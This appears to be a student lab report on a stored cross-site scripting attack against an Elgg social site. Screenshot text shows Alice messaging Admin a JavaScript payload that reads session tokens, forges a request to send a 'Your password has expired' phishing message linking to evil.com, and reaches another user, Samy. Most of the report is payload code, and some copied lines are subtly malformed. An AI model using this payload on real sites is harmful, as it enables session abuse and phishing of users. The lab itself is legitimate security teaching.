

Report

Challenge 1

Email that Alice is sending

Messages

Compose a message

To:

Admin

☐ Only friends

Write recipient's username here.

Subject:

Email

Message:

Visual editor

```
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content="";
var str = "Click here to reset";
var result = str.link("https://evil.com");
var recip = "&recipients=&recipients[]=47";
var subject = "&subject=Your password has expired";
```

Send

Powered by Elgg

Search

Alice

Blogs

Bookmarks

Files

Pages

Wire posts

Inbox

Sent messages

Admin has received the message

Messages

Inbox

Compose a message

☐

Alice

Email

2 minutes ago

```
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var...
```

Delete

Mark read

Toggle all

Powered by Elgg

Search

Admin

Blogs

Bookmarks

Files

Pages

Wire posts

Inbox

Sent messages

Samy has received the message

Messages > Inbox

Your password has expired

Reply



Admin

Your password has expired

just now



[Click here to reset](#)

Search



Samy

Blogs

Bookmarks

Files

Pages

Wire posts

Inbox

Sent messages

Powered by Elgg

Message that Alice sent

```
<script type="text/javascript">
```

```
  window.onload = function(){
```

```
    var userName=elgg.session.user.name;
```

```
    var guid+"&guid="+elgg.session.user.guid;
```

```
    var ts+"&__elgg_ts="+elgg.security.token.__elgg_ts;
```

```
    var token+"&__elgg_token="+elgg.security.token.__elgg_token;
```

```
    var content="";
```

```
    var str = "Click here to reset";
```

```
    var result = str.link("https://evil.com");
```

```
    var recip = "&recipients=&recipients[]=47";
```

```
    var subject = "&subject=Your password has expired";
```

```
    var body = "&body=<p>Click here to reset</p>";
```

```
    var sendurl="http://ec2-54-159-73-51.compute-1.amazonaws.com/action/messages/send"+ token  
+ ts + recip + subject + body;
```

```
    var Ajax=null;
```

```
Ajax=new XMLHttpRequest();  
Ajax.open("POST",sendurl,true);  
Ajax.setRequestHeader("Host","http://ec2-54-159-73-51.compute-1.amazonaws.com");  
Ajax.setRequestHeader("Content-Type",  
    "application/x-www-form-urlencoded");  
Ajax.send(content);  
}  
</script>
```